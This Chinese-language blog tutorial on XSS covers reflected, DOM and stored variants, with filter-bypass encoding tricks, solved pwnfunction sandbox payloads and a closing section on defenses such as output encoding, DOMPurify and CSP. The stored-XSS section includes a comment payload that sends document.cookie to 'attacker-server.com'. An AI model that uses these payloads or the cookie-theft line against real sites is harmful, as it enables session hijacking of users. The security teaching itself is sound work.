1. 从零开始:认识XSS攻击的三种面孔
如果你刚开始接触Web安全,听到“XSS”这个词可能会觉得有点神秘。其实它的全称是跨站脚本攻击,简单来说,就是攻击者想方设法在你的网页里插入并执行他们写的恶意JavaScript代码。想象一下,你正在浏览一个正常的论坛,突然页面弹出一个奇怪的广告窗口,或者你的登录信息莫名其妙被发送到了一个陌生服务器——这很可能就是XSS攻击在作祟。
我刚开始研究XSS的时候,也觉得那些绕来绕去的编码和标签很头疼。但后来我发现,只要把XSS攻击分成三种基本类型来理解,整个脉络就清晰多了:反射型XSS、DOM型XSS和存储型XSS。它们就像三个性格迥异的“黑客”,用的工具和攻击方式各有不同。反射型XSS比较“急性子”,攻击代码藏在URL里,需要你点击一个精心构造的链接才会触发;DOM型XSS更“狡猾”一些,它不经过服务器,直接在浏览器里利用JavaScript修改页面结构来干坏事;而存储型XSS则是个“潜伏者”,它会把恶意代码永久保存在网站的数据库里,每个访问相关页面的用户都会中招,危害最大。
虽然现在纯反射型XSS已经比较少见,利用条件也有限,但理解它仍然是打好基础的关键一步。很多复杂的攻击手法,其实都是从这些基础原理演变而来的。接下来,我会带你从最简单的弹窗实验开始,一步步深入到真实的攻防对抗场景,让你不仅能看懂攻击是怎么发生的,更能亲手搭建环境、构造攻击载荷,并学会如何防御。咱们不搞那些空洞的理论,直接上手操作,用我踩过的坑帮你铺平学习之路。
2. 热身准备:弹窗函数与HTML标签的“花式玩法”
在真正发起攻击之前,我们得先准备好“武器”。对于XSS攻击来说,最基本的武器就是能够执行JavaScript代码的途径。最直观的验证方法就是让浏览器弹出一个对话框。所以,咱们先来熟悉一下JavaScript里的几个弹窗函数:alert()、confirm()和prompt()。alert()最简单,就是弹出一个警告框;confirm()会弹出一个带“确定”和“取消”的确认框;prompt()则会让用户输入一些内容。在靶场练习里,我们经常用alert(1)或alert(1337)来证明攻击成功了。
光知道函数还不够,我们得想办法把它们“塞”进网页里。这就涉及到哪些HTML标签能触发JavaScript。最直接的就是<script>标签,但很多网站都会直接过滤掉它。所以,我们得掌握更多“曲线救国”的标签。
2.1 利用a标签的href属性
<a>标签的href属性不仅可以是网址,还可以是javascript:协议。这是最经典的XSS向量之一。
<a href="javascript:alert(1)">点击我</a>
如果网站对“javascript”这个单词进行了过滤,我们可能会尝试对它进行URL编码。但这里有个坑:HTML解析器在处理href属性时,会先进行HTML实体解码,再进行URL解码。如果你把整个javascript:alert(1)都进行URL编码,HTML可能无法正确识别出javascript:协议,导致它被当作一个无法访问的普通字符串,从而报404错误。
<!-- 错误示例:全部URL编码,可能无法执行 -->
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">链接</a>
那怎么办呢?我试过一种混合编码的方法,效果不错:对“javascript”这个词使用HTML十六进制实体编码(&#x开头),而对括号、数字等使用URL编码。这样,HTML解析器能先正确还原出“javascript:”这个协议头。
<!-- 可行示例:混合编码 -->
<a href="javascript:%61%6c%65%72%74%28%33%29">链接</a>
这里的关键在于理解浏览器解析的顺序。它像是一个严格的检查官,会按照既定流程(HTML实体解码 → URL解码)来检查你的代码。如果href属性的值不能最终被解析成一个合法的协议(如http:、javascript:)或URL,它就会被当作一个字符串,点击后浏览器会尝试跳转到这个字符串代表的(不存在的)地址,从而失败。所以,构造Payload时必须时刻想着解析器会怎么“看”你的代码。
2.2 利用button标签的onclick事件
<button>标签的onclick属性是另一个常见的入口。它可以直接内联JavaScript代码。
<button onclick="confirm('你确定吗?');">按钮</button>
当网站对单引号进行过滤时,我们可能会想到用HTML实体编码'来代替。在HTML属性里,这样做通常是可行的,因为HTML解析器会在处理属性值时解码实体。
<!-- 可行:在HTML属性值中,实体编码的单引号会被解码 -->
<button onclick="confirm('7');">按钮</button>
但是,如果你使用JavaScript的Unicode转义序列(如\u0027)来编码单引号,那很可能行不通。因为JavaScript规范规定,字符串和正则表达式字面量中的Unicode转义序列会在代码解析的早期被处理,但对于标点符号(如引号)的编码,可能会破坏代码语法结构,导致引擎在解析阶段就报错。这是一个很容易踩的坑,我当初就在这里折腾了好久。
2.3 深入script标签的编码世界
<script>标签内的世界规则又不一样了。在这里,内容是JavaScript引擎的地盘,HTML实体编码在这里是无效的。如果你在<script>标签里写al...,JS引擎只会把它当作普通文本,不会执行。
<!-- 无效:JS引擎不解析HTML实体 -->
<script>alert(9);</script>
那么JS认什么呢?它认Unicode转义序列(\u0061这样的形式)。所以,我们可以对函数名进行Unicode编码来绕过一些简单的字符串过滤。
<!-- 有效:JS引擎会解码Unicode转义序列 -->
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
但是,千万注意不要对括号()进行编码!因为括号是JavaScript语法的关键部分,编码后会导致语法错误。同样,字符串内部的引号如果被Unicode编码,也可能导致问题。然而,像换行符\n(\u000a)这样的控制字符编码后通常是安全的,有时还能用来绕过对某些字符的过滤。这些细微的差别,正是攻防对抗的乐趣所在,你需要不断试验,摸清目标环境的具体解析规则。
3. DOM型XSS实战:在靶场中“见招拆招”
理论学习得差不多了,现在咱们进入实战环节。DOM型XSS特别有趣,因为它完全在客户端浏览器里发生,不依赖于服务器端的响应。攻击的成功与否,取决于前端JavaScript代码如何不安全地操作DOM。我强烈推荐使用像pwnfunction提供的在线沙盒或PortSwigger的Web Security Academy靶场来练习,它们提供了从易到难的各种场景。
3.1 基础关卡:innerHTML的陷阱
我们来看第一个靶场关卡“MaSpaghet”。它的核心代码是这样的:
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
代码从URL参数somebody中获取值,然后直接用innerHTML属性设置到<h2>标签里。innerHTML属性虽然方便,但它会解析字符串中的HTML标签。不过,现代浏览器为了安全,默认情况下通过innerHTML插入的<script>标签是不会执行的。但这难不倒我们,因为还有很多其他标签可以触发JavaScript,比如<img>标签的onerror事件。
攻击Payload很简单:
https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<img src=1 onerror="alert(1337)">
当img的src指向一个不存在的地址(这里是“1”)时,就会触发onerror事件,执行我们的代码。从防御角度看,如果这里不需要渲染HTML,就应该用更安全的innerText或textContent属性来替代innerHTML,这是修复这类问题最直接有效的方法。
3.2 进阶挑战:绕过字符过滤
靶场关卡“Ugandan Knuckles”增加了难度。它的代码对输入进行了过滤:
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '') // 过滤了尖括号
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
它用正则表达式/[<>]/g删除了所有尖括号<和>,这样我们就无法直接插入新的HTML标签了。但是,注意看,用户输入被直接拼接进了<input>标签的placeholder属性值里。属性值本身也是一个可以玩花样的地方。
我们的攻击思路是:提前闭合placeholder属性的双引号,然后为这个input元素添加新的事件属性。由于<和>被过滤,我们无法插入新标签,但可以在原有标签上添加属性。这里用到两个属性:onfocus(当元素获得焦点时触发)和autofocus(页面加载时自动获得焦点)。
构造的Payload如下:
https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaaaaa" onfocus=alert(1337) autofocus="
这段Payload输入后,最终生成的HTML会变成:
<input type="text" placeholder="aaaaaa" onfocus=alert(1337) autofocus="" class="form-control">
由于设置了autofocus,页面一加载这个输入框就会自动获得焦点,从而立刻触发onfocus事件,执行alert(1337)。这个案例告诉我们,过滤不全面(只过滤标签,没过滤事件属性)等于没过滤。
3.3 高难度关卡:当字母数字都被禁止时
最让我掉头发的关卡之一是“Ligma”。它的过滤规则极其严格:
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '') // 移除了所有大小写字母和数字!
eval(balls)
它用replace函数删除了输入中所有的字母(A-Z, a-z)和数字(0-9),然后把剩下的字符串丢给eval()函数去执行。这看起来简直不可能,因为JavaScript代码本身就是由字母数字构成的。但黑客的创造力是无限的,这里就用到了名为 JSFuck 的编码技术。
JSFuck是一种极端的编码方式,它仅用六个字符:[、]、(、)、!、+,就能写出任何JavaScript代码。它的原理是利用JavaScript的类型转换和这些字符的组合,来构造出字母、数字和函数。例如,false可以写成![],true是!![],数字0是+[],然后通过一系列复杂的组合,最终能拼出alert这样的函数名。
我们不需要手动编写这些晦涩的代码,可以利用在线工具(如JSFuck的官网)将alert(1337)编码成JSFuck形式,然后将这一长串只有六个字符组成的字符串作为Payload提交。虽然最终生成的URL会非常长且怪异,但它成功地绕过了对字母数字的过滤,让eval执行了恶意代码。面对这种过滤,防御方不能仅仅依赖黑名单过滤字符,而应该从根本上避免使用eval()这种危险的函数,或者对输入进行严格的白名单验证。
4. 存储型XSS:潜伏在数据库中的“定时炸弹”
如果说反射型和DOM型XSS还需要用户点击一个特定链接,那么存储型XSS的威力就更上一层楼了。攻击者将恶意脚本提交到网站的后端(比如论坛的帖子、评论区的留言、用户资料中的昵称),这些脚本被永久存储在服务器的数据库里。之后,每当其他用户浏览到包含这段恶意代码的页面时,脚本就会在他们的浏览器中自动执行。这意味着一次成功的攻击可以影响到成千上万的用户,危害性极大。
4.1 攻击场景模拟:一个留言板漏洞
想象一个简单的留言板功能。用户提交的留言内容,后端没有进行充分的过滤和转义,就直接存入了数据库,并在显示给其他用户时,直接通过innerHTML或类似的危险方式输出到页面上。
攻击者可以提交这样一条留言:
<script>var i=new Image; i.src='http://attacker-server.com/steal?cookie='+encodeURIComponent(document.cookie);</script>
这条脚本会悄悄地把访问者的cookie信息发送到攻击者控制的服务器上。如果网站使用cookie来管理登录状态,那么攻击者就能窃取到用户的会话,直接以该用户的身份登录系统,进行各种非法操作。
4.2 利用富文本编辑器与SVG图像
现代网站为了用户体验,往往会引入富文本编辑器,允许用户提交一些格式化的内容,比如加粗、斜体,甚至插入图片。图片标签<img>的src属性可以指向一个SVG格式的图片。SVG是一种基于XML的矢量图像格式,它本身可以包含JavaScript代码。
如果网站允许用户上传SVG文件,并且在后端展示时没有进行安全处理,就可能产生严重的存储型XSS漏洞。一个恶意的SVG文件内容可能如下:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS via SVG')">
<rect width="100" height="100" fill="red"/>
</svg>
当浏览器加载这个SVG图片时,onload事件会被触发,从而执行其中的JavaScript代码。防御这类攻击,需要后端对上传文件的类型、内容进行严格的检查和过滤,对于图片文件,可以考虑进行转码处理(如将SVG转换为安全的PNG格式),并在输出时确保<img>标签的src属性指向的是经过处理的静态资源地址,而不是直接包含文件内容。
4.3 结合其他漏洞扩大战果
存储型XSS的可怕之处还在于它可以与其他漏洞结合,形成“组合拳”。例如,如果一个网站同时存在存储型XSS和CSRF(跨站请求伪造) 漏洞,攻击者可以构造一个恶意脚本,当管理员查看被污染的页面(如一条恶意留言)时,脚本会利用管理员的权限,在后台悄悄创建一个新的管理员账户,或者修改网站的关键设置。
防御存储型XSS,必须采取多层次、纵深防御的策略:
- 输入验证与过滤:在服务器端,对用户提交的所有数据进行严格的验证。采用白名单策略,只允许已知安全的字符和格式通过,比黑名单(禁止已知危险字符)要可靠得多。
- 输出编码:在将数据输出到HTML页面时,根据上下文进行正确的编码。输出到HTML正文时,对
<、>、&等字符进行HTML实体编码(如<、>、&);输出到HTML属性值时,除了上述字符,还要对引号进行编码;输出到JavaScript代码或URL中,则需要使用相应的编码方式。 - 使用安全API:如前所述,避免使用
innerHTML、document.write()等危险API,转而使用textContent、setAttribute等更安全的替代方案。对于富文本内容,可以使用专业的、经过安全审计的HTML净化库(如DOMPurify)来处理。 - 设置Content Security Policy (CSP):CSP是一个强大的浏览器安全特性,它允许网站管理员定义哪些来源的资源(脚本、样式、图片等)可以被加载和执行。通过设置一个严格的CSP策略,例如禁止内联脚本(
unsafe-inline)和eval()函数,可以极大地缓解XSS攻击的影响,即使恶意脚本被注入,浏览器也会拒绝执行它。
我在实际项目中推进安全建设时,发现单纯靠开发人员记住所有安全规则是不现实的。最有效的方法是将安全措施工具化、流程化。比如,在代码仓库中集成自动化的安全扫描工具(SAST),在构建流水线中加入依赖检查和安全测试,并强制要求所有涉及用户输入输出的代码都必须经过安全小组的审查。同时,定期对全员进行安全意识培训,通过内部靶场演练让大家亲身体验攻击过程,这样才能真正建立起安全防线。安全不是某个阶段的任务,而应该是贯穿整个软件开发生命周期的持续过程。

1万+

被折叠的 条评论
为什么被折叠?



